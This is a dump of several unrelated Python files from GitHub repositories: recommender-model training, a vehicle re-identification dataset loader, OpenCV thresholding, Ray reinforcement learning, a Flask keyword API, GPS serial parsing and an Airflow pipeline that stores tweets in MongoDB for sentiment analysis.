range(gl_train.shape[1])]\n\nlgb_train = lgb.Dataset(gl_train, label)\nlgb_eval = lgb.Dataset(gl_eval, label_eval, reference=lgb_train)\n\nparams = {\n 'task': 'train',\n 'boosting_type': 'gbdt',\n 'objective': 'binary',\n 'metric': {'binary_logloss'},\n 'num_leaves': 6,\n 'num_trees': 200,\n 'learning_rate': 0.01,\n 'feature_fraction': 0.9,\n 'bagging_fraction': 0.8,\n 'bagging_freq': 5,\n 'verbose': 0\n}\n\n# number of leaves,will be used in feature transformation\nnum_leaf = 6\n\nprint('Start training...')\n# train\ngbm = lgb.train(params,\n lgb_train,\n num_boost_round=100,\n valid_sets=lgb_train,\n feature_name=name,\n categorical_feature=name)\n\n#print('Save model...')\n## save model to file\n#gbm.save_model('model.txt')\n\nprint('Start predicting...')\n# predict and get data on leaves, training data\ny_pred = gbm.predict(gl_train, pred_leaf=True)\n\nprint(np.array(y_pred).shape)\nprint(y_pred[:10])\n\nprint('Writing transformed training data')\ntransformed_training_matrix = np.zeros([len(y_pred), len(y_pred[0]) * num_leaf], \\\n dtype=np.int64) # N * num_tress * num_leafs\nfor i in range(0, len(y_pred)):\n temp = np.arange(len(y_pred[0])) * num_leaf + np.array(y_pred[i])\n transformed_training_matrix[i][temp] += 1\n\n\ny_pred = gbm.predict(gl_eval, pred_leaf=True)\nprint('Writing transformed testing data')\ntransformed_testing_matrix = np.zeros([len(y_pred), len(y_pred[0]) * num_leaf], dtype=np.int64)\nfor i in range(0, len(y_pred)):\n temp = np.arange(len(y_pred[0])) * num_leaf + np.array(y_pred[i])\n transformed_testing_matrix[i][temp] += 1\n\n\nlm = LogisticRegression(penalty='l2', C=0.05) # logestic model construction\nlm.fit(transformed_training_matrix, label) # fitting the data\ny_pred_test = lm.predict_proba(transformed_testing_matrix) # Give the probabilty on each label\n\neval_auc = roc_auc_score(label_eval, y_pred_test)\nprint(eval_auc)\n\ntemp, batch_size, epoch, record_num, save_path = [], 64, 3, 1000, 'D:\\\\my\\\\netease_data\\\\model'\nos.chdir(save_path)\n\nccbase = ccBaseModel(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len)\nccbase_res = ccbase.train_model(cc_train_sample, cc_eval_sample, batch_size, epoch, record_num)\nccbase.model.save('base_model.h5')\n\nccbase_tr = ccBaseModel(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len,\n weighted=True, use_Transformer=True)\nccbase_tr_res = ccbase_tr.train_model(cc_train_sample_tr, cc_eval_sample_tr, batch_size, epoch, record_num)\nccbase_tr.model.save('basetr_model.h5')\n\nccdin = ccDINModelwithOneHist(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len)\nccdin_res = ccdin.train_model(cc_train_sample, cc_eval_sample, batch_size, epoch, record_num)\nccdin.model.save('din_model.h5')\n\nccdin_tr = ccDINModelwithOneHist(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len,\n weighted=True, use_Transformer=True)\nccdin_tr_res = ccdin_tr.train_model(cc_train_sample_tr, cc_eval_sample_tr, batch_size, epoch, record_num)\nccdin_tr.model.save('dintr_model.h5')\n\nccpnn = ccPNN(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len)\nccpnn_res = ccpnn.train_model(cc_train_sample, cc_eval_sample, batch_size, epoch, record_num)\nccpnn.model.save('pnn_model.h5')\n\nccpnn_tr = ccPNN(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len, weighted=True, use_Transformer=True, w=1e-12)\nccpnn_tr_res = ccpnn_tr.train_model(cc_train_sample_tr, cc_eval_sample_tr, batch_size, epoch, record_num)\nccpnn_tr.model.save('pnntr_model.h5')\n\nccdeepfm = ccdeepFM(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len)\nccdeepfm_res = ccdeepfm.train_model(cc_train_sample, cc_eval_sample, batch_size, epoch, record_num)\nccdeepfm.model.save('deepfm_model.h5')\n\nccdeepfm_tr = ccdeepFM(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len,\n weighted=True, use_Transformer=True)\nccdeepfm_tr_res = ccdeepfm_tr.train_model(cc_train_sample_tr, cc_eval_sample_tr, batch_size, epoch, record_num)\nccdeepfm_tr.model.save('deepfmtr_model.h5')\n\nstart, end, model = 1, 6, 'base'\nfor i in range(start, end):\n print('#'*50)\n print(i)\n print('#'*50)\n\n K.clear_session()\n ccbase = ccBaseModel(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len)\n ccbase_res = ccbase.train_model(cc_train_sample, cc_eval_sample, batch_size, epoch, record_num)\n# np.savetxt(model + '_auc_' + str(i) + '.txt', ccbase_res.auc_val)\n \n K.clear_session()\n ccbase_tr = ccBaseModel(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n android_app_num, ios_app_num, mobile_model_num, \n android_app_list, ios_app_list, mobile_model_list,\n gametype_label_num, gametype_label_list, user_multi_cate_len_1=android_app_len, user_multi_cate_len_2=ios_app_len, \n user_multi_cate_len_3=mobile_model_len, item_multi_cate_len=gametype_label_len,\n weighted=True, use_Transformer=True)\n ccbase_tr_res = ccbase_tr.train_model(cc_train_sample_tr, cc_eval_sample_tr, batch_size, epoch, record_num)\n# np.savetxt(model + 'tr_auc_' + str(i) + '.txt', ccbase_tr_res.auc_val)\n\n\ndraw(temp, train_num, batch_size, record_num, 'ReLU', 1, ['deepfm', 'base', 'base_tr', 'din', 'din_tr', 'pnn']) \n\n\ntemp1_mean, temp2_mean = 0, 0\nfor i in range(start, end):\n temp1 = np.loadtxt(model + '_auc_' + str(i) + '.txt')\n temp2 = np.loadtxt(model + 'tr_auc_' + str(i) + '.txt')\n temp1_mean = temp1_mean + temp1\n temp2_mean = temp2_mean + temp2\n\ntemp1_mean = temp1_mean / (end - start)\ntemp2_mean = temp2_mean / (end - start)\n\nx_index = (np.arange(len(temp1_mean))+1) / (train_num // batch_size // record_num)\nplt.plot(x_index, temp1_mean, label=model)\nplt.plot(x_index, temp2_mean, label=model+'_tr')\nplt.xlabel('epochs')\nplt.ylabel('auc')\nplt.legend()\nplt.title('The training process')\n\n\n\n\n\n","repo_name":"AcerLai/MyRS","sub_path":"lhj-master/深度推荐模型:din模型/code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":29076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8782963574","text":"# encoding: utf-8\r\n\"\"\"\r\n@author: sherlock\r\n@contact: sherlockliao01@gmail.com\r\n\"\"\"\r\n\r\nimport glob\r\nimport re\r\nimport pdb\r\nimport os\r\nimport os.path as osp\r\nimport numpy as np\r\nfrom .bases import BaseImageDataset\r\n\r\n\r\nclass VERI_MM(BaseImageDataset):\r\n \"\"\"\r\n Market1501\r\n Reference:\r\n Zheng et al. Scalable Person Re-identification: A Benchmark. ICCV 2015.\r\n URL: http://www.liangzheng.org/Project/project_reid.html\r\n\r\n Dataset statistics:\r\n # identities: 1501 (+1 for background)\r\n # images: 12936 (train) + 3368 (query) + 15913 (gallery)\r\n \"\"\"\r\n dataset_dir = 'image_gan'\r\n\r\n def __init__(self, root='/home/haoluo/data', verbose=True, **kwargs):\r\n super(VERI_MM, self).__init__()\r\n root = r\"F:\\datasets\\VeRi776_multimodal\"\r\n self.dataset_dir = osp.join(root, self.dataset_dir)\r\n self.train_dir = osp.join(self.dataset_dir, 'image_train')\r\n self.query_dir = osp.join(self.dataset_dir, 'image_query')\r\n self.gallery_dir = osp.join(self.dataset_dir, 'image_test')\r\n\r\n self._check_before_run()\r\n\r\n train = self._process_dir(self.train_dir, relabel=True)\r\n query = self._process_dir(self.query_dir, relabel=False)\r\n gallery = self._process_dir(self.gallery_dir, relabel=False)\r\n #pdb.set_trace()\r\n if verbose:\r\n print(\"=> RGB_IR loaded\")\r\n self.print_dataset_statistics(train, query, gallery)\r\n\r\n self.train = train\r\n self.query = query\r\n self.gallery = gallery\r\n\r\n self.num_train_pids, self.num_train_imgs, self.num_train_cams = self.get_imagedata_info(self.train)\r\n self.num_query_pids, self.num_query_imgs, self.num_query_cams = self.get_imagedata_info(self.query)\r\n self.num_gallery_pids, self.num_gallery_imgs, self.num_gallery_cams = self.get_imagedata_info(self.gallery)\r\n\r\n print(\"veri776 multimodal version used as dataset! => {}\".format(self.dataset_dir))\r\n #pdb.set_trace()\r\n\r\n def _check_before_run(self):\r\n \"\"\"Check if all files are available before going deeper\"\"\"\r\n if not osp.exists(self.dataset_dir):\r\n raise RuntimeError(\"'{}' is not available\".format(self.dataset_dir))\r\n if not osp.exists(self.train_dir):\r\n raise RuntimeError(\"'{}' is not available\".format(self.train_dir))\r\n if not osp.exists(self.query_dir):\r\n raise RuntimeError(\"'{}' is not available\".format(self.query_dir))\r\n if not osp.exists(self.gallery_dir):\r\n raise RuntimeError(\"'{}' is not available\".format(self.gallery_dir))\r\n\r\n def _process_dir(self, dir_path, relabel=False):\r\n imgs = glob.glob(osp.join(dir_path, '*.jpg'))\r\n pattern = re.compile(r'([-\\d]+)_c([-\\d]+)')\r\n\r\n pid_container = set()\r\n for img in imgs:\r\n pid, _ = map(int, pattern.search(img).groups())\r\n if pid == -1: continue # junk images are just ignored\r\n pid_container.add(pid)\r\n pid2label = {pid: label for label, pid in enumerate(pid_container)}\r\n\r\n dataset = []\r\n for img in imgs:\r\n pid, camid = map(int, pattern.search(img).groups())\r\n #pdb.set_trace()\r\n #if pid == -1: continue # junk images are just ignored\r\n assert 1 <= pid <= 776 # pid == 0 means background\r\n assert 1 <= camid <= 20\r\n camid -= 1 # index starts from 0\r\n if relabel: pid = pid2label[pid]\r\n\r\n r_path = osp.join(dir_path, img)\r\n n_path = osp.join(dir_path+\"_n\", img)\r\n t_path = osp.join(dir_path+\"_t\", img)\r\n\r\n dataset.append(((r_path, n_path, t_path), pid, 0, camid))\r\n return dataset\r\n\r\n","repo_name":"superlollipop123/Cross-directional-Center-Network-and-MSVR310","sub_path":"data/datasets/veri_mm.py","file_name":"veri_mm.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"27028892129","text":"from tkinter import *\n\nroot = Tk()\n\ncanvas = Canvas(root, width='300', height='300')\ncanvas.pack()\n\n# create a square drawing function that takes 2 parameters:\n# the square size, and the fill color,\n# and draws a square of that size and color to the center of the canvas.\n# create a loop that fills the canvas with rainbow colored squares.\n\nsquare_1 = 20\nsquare_1_color = 'green'\n\nsquare_2 = 50\nsquare_2_color = 'purple'\n\nsquare_3 = 100\nsquare_3_color = 'blue'\n\ndef center_square(x,y):\n square = canvas.create_rectangle (150 - (x/2), 150 - (x/2), 150 + (x/2), 150 + (x/2), fill=y)\n\ncenter_square(square_3, square_3_color)\ncenter_square(square_2, square_2_color)\ncenter_square(square_1, square_1_color)\n\nroot.mainloop()\n","repo_name":"green-fox-academy/AHolcsik","sub_path":"Week03/Day3/rainbow_box_function.py","file_name":"rainbow_box_function.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15132377800","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 5 22:09:48 2017\n\n@author: zhangzhexi\n\"\"\"\n\nimport cv2\n\ndef main():\n image = cv2.imread(\"Test_images/Lenna.png\",1)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n cv2.imshow('Input Image',gray)\n cv2.imwrite('Input_image.jpg',gray)\n \n threshold_value = 128\n dst,thresh = cv2.threshold(gray, threshold_value, 255, cv2.THRESH_TRUNC)\n cv2.imshow(\"Threshold Image\", thresh)\n cv2.imwrite(\"Threshold_image.jpg\",thresh)\n\n# Binary Threshold\n dst,thresh_binary = cv2.threshold(gray, threshold_value, 255, cv2.THRESH_BINARY)\n cv2.imshow(\"Binary threshold\", thresh_binary)\n cv2.imwrite(\"Threshold_binary.jpg\", thresh_binary)\n\n# Band Thresholding\n threshold1 = 27\n threshold2 = 125\n dst,binary_image_1 = cv2.threshold(gray, threshold1, 255, cv2.THRESH_BINARY)\n dst,binary_image_2 = cv2.threshold(gray, threshold2, 255, cv2.THRESH_BINARY_INV)\n band_thresholded_image = cv2.bitwise_and(binary_image_1,binary_image_2)\n cv2.imshow(\"Band Thresholding\", band_thresholded_image)\n cv2.imwrite(\"Band_Thresholding.jpg\", band_thresholded_image)\n\n# Semi Thresholding\n current_threshold = 128\n max_threshold = 255;\n dst,semi_thresholded_image = cv2.threshold(gray,current_threshold,max_threshold,cv2.THRESH_BINARY_INV|cv2.THRESH_OTSU)\n semi_thresholded_image = cv2.bitwise_and(gray,semi_thresholded_image)\n cv2.imshow(\"Semi Thresholding\",semi_thresholded_image)\n cv2.imwrite(\"Semi_Thresholding.jpg\",semi_thresholded_image)\n\n# Adaptive Thresholding\n adaptive_thresh = cv2.adaptiveThreshold(gray,255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C,cv2.THRESH_BINARY,101,10)\n cv2.imshow(\"Adaptive Thresholding\", adaptive_thresh)\n cv2.imwrite(\"Adaptive_Thresholding.jpg\", adaptive_thresh)\n \n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main()\n","repo_name":"zzx0921/EC601_OpenCV","sub_path":"Exercise4/Threshold.py","file_name":"Threshold.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34741969477","text":"import pyvirtualdisplay\r\n_display = pyvirtualdisplay.Display(visible=False, size=(1400, 900))\r\n_ = _display.start()\r\nimport gym\r\nfrom gym.utils.play import play\r\nenv = gym.make(\"CartPole-v0\")\r\nplay(env, zoom=4)\r\nimport ray\r\nfrom ray import tune\r\nfrom ray.rllib.agents.dqn import DQNTrainer\r\n\r\nray.shutdown()\r\nray.init(\r\n include_webui=False,\r\n ignore_reinit_error=True,\r\n object_store_memory=8 * 1024 * 1024 * 1024 # 8GB limit … feel free to increase this if you can\r\n)\r\n\r\nENV = 'Humanoid-v1'\r\nTARGET_REWARD = 195\r\nTRAINER = DQNTrainer\r\n\r\ntune.run(\r\n TRAINER,\r\n stop={\"episode_reward_mean\": TARGET_REWARD}, # stop as soon as we \"solve\" the environment\r\n config={\r\n \"env\": ENV,\r\n \"num_workers\": 0, # run in a single process\r\n \"num_gpus\": 0,\r\n \"monitor\": True, # store stats and videos periodically\r\n \"evaluation_num_episodes\": 25, # every 25 episodes instead of the default 10\r\n }\r\n)\r\nfrom base64 import b64encode\r\nfrom pathlib import Path\r\nfrom typing import List\r\n\r\n# this will depend on which provider you are using; the correct version is\r\n# probably what you get if you append /ray/results/ to the output from !pwd\r\nOUT_PATH = Path('/root/ray_results/')\r\n\r\ndef latest_experiment() -> Path:\r\n \"\"\" Get the path of the results directory of the most recent training run. \"\"\"\r\n experiment_dirs = []\r\n for algorithm in OUT_PATH.iterdir():\r\n if not algorithm.is_dir():\r\n continue\r\n for experiment in algorithm.iterdir():\r\n if not experiment.is_dir():\r\n continue\r\n experiment_dirs.append((experiment.stat().st_mtime, experiment))\r\n return max(experiment_dirs)[1]\r\n\r\ndef latest_videos() -> List[Path]:\r\n # because the ISO timestamp is in the name, the last alphabetically is the latest\r\n return list(sorted(latest_experiment().glob('*.mp4')))\r\n\r\ndef render_mp4(videopath: Path) -> str:\r\n mp4 = open(videopath, 'rb').read()\r\n base64_encoded_mp4 = b64encode(mp4).decode()\r\n return f'

    {videopath.name}

    '\r\n\r\n\r\nfrom IPython.display import HTML\r\nhtml = render_mp4(latest_videos()[-1])\r\nHTML(html)","repo_name":"shivamkainth/rescience","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26768411180","text":"'''Association example\n--Create a class Hardware with tow attributes 'name','installed_date'\nand add a method show_hardware which will show name and date\n\n--Create a class software with three attribute 'software_name','version','installed_date'\nand a method SHOW_Software which will show name,version and date\n\n--Create a class Computer with few attributes like 'name,'manufacture','location 'etc\nand two attributes one for hardware and one for software\n(list Type) and 5 function, for setting hardware,software,showing list of hardware,list of software and\nDisplay full specifications of the computer\n'''\n\n\nclass Hardware:\n\n def __init__(self):\n\n self.name = ''\n self.installed_date = ''\n self.list_of_hardware = []\n\n def show_hardware(self,name,installed_date):\n\n self.list_of_hardware.append(name)\n self.list_of_hardware.append(installed_date)\n\n\nclass Software:\n\n def __init__(self):\n\n self.software_name = ''\n self.version = 0\n self.installed_date = ''\n self.list_of_software=[]\n\n def show_software(self,software_name,version,installed_date):\n\n self.list_of_software.append(software_name)\n self.list_of_software.append(version)\n self.list_of_software.append(installed_date)\n\n\nclass Computer:\n\n def __init__(self,name,manufacturer,location):\n\n self.name = name\n self.manufacturer = manufacturer\n self.location = location\n self.clasHadw = Hardware()\n self.clasSoft = Software()\n\n def setting_hardware(self):\n\n print('Setting Hardware',self.clasHadw.list_of_hardware)\n print()\n\n def setting_software(self):\n\n print('Setting Software',self.clasSoft.list_of_software)\n print()\n\n def list_of_hardware(self):\n\n print('List Of Hardware: ')\n\n for hadw_list in self.clasHadw.list_of_hardware:\n print(hadw_list)\n print()\n\n def list_of_software(self):\n\n print('List of Software: ')\n\n for soft_list in self.clasSoft.list_of_software:\n print(soft_list)\n print()\n\n def show_full_specification(self):\n\n print(self.name,self.manufacturer,self.location,'contains:')\n print(self.clasHadw.list_of_hardware)\n print(self.clasSoft.list_of_software)\n\n\n\ncomp = Computer('Usman-PC','DEll','Karachi')\n\ncomp.clasHadw.show_hardware('Lan Card','Feb 5')\ncomp.clasHadw.show_hardware('Graphic Card','Jan 18')\ncomp.clasHadw.show_hardware('DVD Rom','March 18')\n\ncomp.setting_hardware()\ncomp.list_of_hardware()\n\ncomp.clasSoft.show_software('Pycharm',2.4,'Dec 2')\ncomp.clasSoft.show_software('MS office',2016,'Aril 19')\n\ncomp.setting_software()\ncomp.list_of_software()\n\ncomp.show_full_specification()","repo_name":"Mohammed-Usman/PythonCrashCourseTasks","sub_path":"association.py","file_name":"association.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27211917034","text":"#Written by Karan Jagdale, Undergraduate, IIT Bombay. \nimport serial\nimport io\nser=serial.Serial('/dev/ttyACM0',19200)\n\n\ndef bintodec(k,l):\n\tdecimal = 0\n\tbinary = []\n\tfor i in range(4):\n\t\tnzeros = 10 - len((k[l-i]))\n\t\tprint(nzeros)\n\t\tfor j in range(nzeros):\n\t\t\tbinary.append(0)\n\t\tfor j in range(len(k[l-i])-2):\n\t\t\t\tbinary.append(int((k[l-i][j+2]))) #Not appending initial 0b\n\tprint(binary)\n\tif(binary[0]==1):\n\t\tfor i in range(len(binary)):\n\t\t\tif(binary[i] == 1):\n\t\t\t\tbinary[i] = 0\n\t\t\telse:\n\t\t\t\tbinary[i] = 1\n\t\t\tdecimal = decimal + int(binary[i])*pow(2,(len(binary)-(i+1)))\n\t\treturn -(decimal+1)\n\t\n\telse:\n\t\tfor i in range(len(binary)):\n\t\t\tdecimal = decimal + int(binary[i])*pow(2,(len(binary)-(i+1)))\n\t\t\n\t\treturn decimal\n\t\t\n\n \ndef main():\n\ts = ser.read(26)\n\t#for i in s:\n\ts1 = map(bin,bytearray(s))\n\tN = bintodec(s1,17)\n\tE = bintodec(s1,21)\n\tD = bintodec(s1,25)\n\tprint(s1)\n\tprint(N,E,D)\nmain()\n\n\n\n\n\n\n\n#print(' '.join(format(ord(x), 'b') for x in s))\n#ser = io.BytesIO(b\"some initial binary data: \\x00\\x01\")\n#print(ser[0])\n#print(ord(s))\n#print(toBinary(s))\t#print((s1))\n\t#print(type(s1[0]))\n\t#print((s1[0][1]),int((s1[0][2])),(s1[0][3]))\nser.close()\n","repo_name":"KaranJagdale/Inertial-Snensors-Implementation","sub_path":"GPSDataLogging.py","file_name":"GPSDataLogging.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1032769706","text":"# -*- coding: utf-8 -*-\nfrom flask import Flask, jsonify,abort\nimport sys\nimport time\nimport json\nimport thread\n\nreload(sys)\nsys.setdefaultencoding( \"utf-8\" )\n\napp = Flask(__name__)\n\n@app.route('/api/v1.0/keyword/',methods=['GET'])\ndef keyword(task_id):\n f = open('hehe.txt')\n keywords = task_id.split(' ')\n result = []\n for line in f:\n re = {}\n content = line.split(\"\\t\")\n if len(content) == 2:\n re['title'] = content[1]\n re['labels'] = [\"0\"]\n re['time'] = \"0\"\n re['href'] = \"0\"\n result.append(re)\n for word in keywords:\n if word in line:\n re['title'] = content[0]\n re['labels'] = content[1].split(\",\")\n re['time'] = content[2]\n re['href'] = content[3]\n result.append(re)\n break\n\n # print type(str(result).replace('u\\'','\\'').decode(\"unicode-escape\"))\n return json.dumps(result)\n\n@app.route('/api/v1.0/upload/',methods=['GET'])\ndef upload(task_id):\n f = open(\"hehe.txt\",\"a\")\n keyword = task_id.split(\" \")\n f.write(str(keyword[0]) + \"\\t\" + str(keyword[1])+\"\\n\")\n return \"1\"\n\nif __name__ == '__main__':\n app.run('0.0.0.0',debug=True)\n\n","repo_name":"AndyShan/MyHeadline","sub_path":"server/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"16577787516","text":"# Twitter ELT Pipeline\r\n# -----------------------------------------------------------------------\r\n# Imports\r\nfrom pymongo import MongoClient\r\nfrom airflow import DAG\r\nimport tweepy\r\nfrom textblob import TextBlob\r\nimport pandas as pd\r\nfrom airflow.operators.python import PythonOperator\r\nfrom datetime import timedelta\r\nfrom datetime import datetime\r\n# -----------------------------------------------------------------------\r\n# Airflow SetUP\r\n\r\n# Set default_args dictionary\r\ndefault_args = {\r\n # Owner of the DAG\r\n \"owner\": \"me\", \r\n # Start time \r\n \"start_date\": datetime.now(), \r\n \"depends_on_past\": False,\r\n # Retries are disabled\r\n \"retries\": 0,\r\n # If it retries, it waits a tenth of a minute to retry\r\n \"retry_delay\": timedelta(minutes=0.1), \r\n}\r\n\r\n# Creating a DAG called TWITTER_MONGO_DAG that is schedule to \r\n# repeat each minute\r\ndag = DAG(\r\n \"TWITTER_MONGO_DAG\",\r\n default_args=default_args,\r\n # Runs every minute\r\n schedule_interval=timedelta(minutes=1)\r\n)\r\n# -----------------------------------------------------------------------\r\n# Function to scrap tweets and store them in Mongo DB\r\ndef request_to_mongo():\r\n # Login Credentials for the Twitter API\r\n\r\n # Set up API credentials for Twitter API\r\n consumer_key = 'enter-consumer-key-here' \r\n consumer_secret = 'enter-consumer-secret-here'\r\n access_token = 'enter-access-token-here'\r\n access_token_secret = 'enter-access-token-secret-here'\r\n\r\n # Authenticate using the Twitter API\r\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\n auth.set_access_token(access_token, access_token_secret)\r\n api = tweepy.API(auth)\r\n\r\n client = MongoClient(host='host.docker.internal', port=27017) # connecting client to an internal port within docker where airflow is being run\r\n\r\n # Create new Database in MongoDB called \"mydatabase\"\r\n db = client['mydatabase']\r\n\r\n # Create the collection in MongoDB for the tweets\r\n collection = db['tweets']\r\n\r\n # Get the tweets from the OpenAI Twitter account\r\n searcht = api.search_tweets(q=\"ChatGPT -filter:retweets\", lang='en', count = 100)\r\n\r\n current = []\r\n # Collect the current tweets in the Mongo DB\r\n for doc in collection.find():\r\n current.append(doc['_id'])\r\n # Search through the new and current tweets to ensure no duplicates are\r\n # into Mongo\r\n for tweet in searcht:\r\n if tweet.id in current:\r\n pass\r\n else:\r\n # Create a dictionary for each tweet\r\n tweet_info = {}\r\n # Tweet ID\r\n tweet_info[\"id\"] = tweet.id\r\n # Date the Tweet was tweeted\r\n tweet_info[\"created_at\"] = tweet.created_at\r\n # Text of the Tweet\r\n tweet_info[\"text\"] = tweet.text\r\n # ID of the user that Tweeted the tweet\r\n tweet_info[\"user_id\"] = tweet.user.id\r\n # Location of the user that tweeted\r\n tweet_info[\"location\"] = tweet.user.location\r\n # FOllwoer count of the user that tweeted\r\n tweet_info[\"followers_count\"] = tweet.user.followers_count\r\n # The number of tweets the user has tweeted\r\n tweet_info[\"statuses_count\"] = tweet.user.statuses_count\r\n # When the user created their account\r\n tweet_info[\"user_creation\"] = tweet.user.created_at\r\n # The hashtags included in the tweet\r\n tweet_info[\"hashtags\"] = [hashtag[\"text\"] for hashtag in tweet.entities.get(\"hashtags\")]\r\n # URLs in the tweet\r\n tweet_info[\"urls\"] = [url[\"expanded_url\"] for url in tweet.entities.get(\"urls\")]\r\n # Users mentioned in the tweet\r\n tweet_info[\"user_mentions\"] = [user_mention[\"screen_name\"] for user_mention in tweet.entities.get(\"user_mentions\")]\r\n # Whether the tweet contains media\r\n tweet_info[\"media\"] = [media.media_url for media in tweet.entities.get(\"media\")] if hasattr(tweet, \"media\") else None\r\n # Whether the tweet contains a poll\r\n tweet_info[\"polls\"] = [poll.options for poll in tweet.polls()] if hasattr(tweet, \"polls\") else None\r\n # The number of retweets the tweet has\r\n tweet_info[\"retweet_count\"] = tweet.retweet_count\r\n # The number of likes the tweet has\r\n tweet_info[\"favorite_count\"] = tweet.favorite_count\r\n \r\n # Inserting the data into the database in MongoDB\r\n collection.insert_one(tweet_info)\r\n# -----------------------------------------------------------------------\r\n# Function to conduct sentiment analysis on the Tweets\r\ndef sentimental():\r\n\r\n # Connecting client to an internal port within docker where airflow is being run\r\n client = MongoClient(host='host.docker.internal', port=27017) \r\n\r\n # Connecting to the MongoDB\r\n db = client['mydatabase']\r\n\r\n # Connecting to the \"tweets\" collection in MongoDB\r\n collection = db['tweets']\r\n\r\n # Gathering all the data from the database\r\n data = collection.find()\r\n\r\n # Create lists to store the tweet id, tweet text and date of tweet\r\n id_list = []\r\n text_list = []\r\n date_list = []\r\n \r\n # Appenind the id, text and date to lists\r\n for d in data:\r\n id_list.append(d['_id'])\r\n text_list.append(d['text'])\r\n date_list.append(d['created_at'])\r\n\r\n# ---------------------------------------------------------------\r\n# Sentiment Analysis\r\n # Create lists to store the sentiment scores, tweet text and date of tweet\r\n sentiment_data_list = []\r\n text_data_list = []\r\n date_data_list = []\r\n\r\n # Conduct sentiment analysis on the tweets and store each sentiment score (polarity,subjectivity)\r\n for i in range(len(text_list)):\r\n # Text blob handles the sentiment analysis of the tweets\r\n tweet_blob = TextBlob(text_list[i])\r\n # Extracting the polarity and subjectivity scores\r\n polarity, subjectivity = tweet_blob.sentiment\r\n\r\n # Classifying the sentiment (Postive, Negative, Neutral)\r\n if polarity > 0:\r\n sentiment = \"Positive\"\r\n elif polarity == 0:\r\n sentiment = \"Neutral\"\r\n else:\r\n sentiment = \"Negative\"\r\n\r\n # # Storing the sentiment scores, tweet text and tweet dates in a dictionary\r\n sentiment_data = {\"tweet_id\": 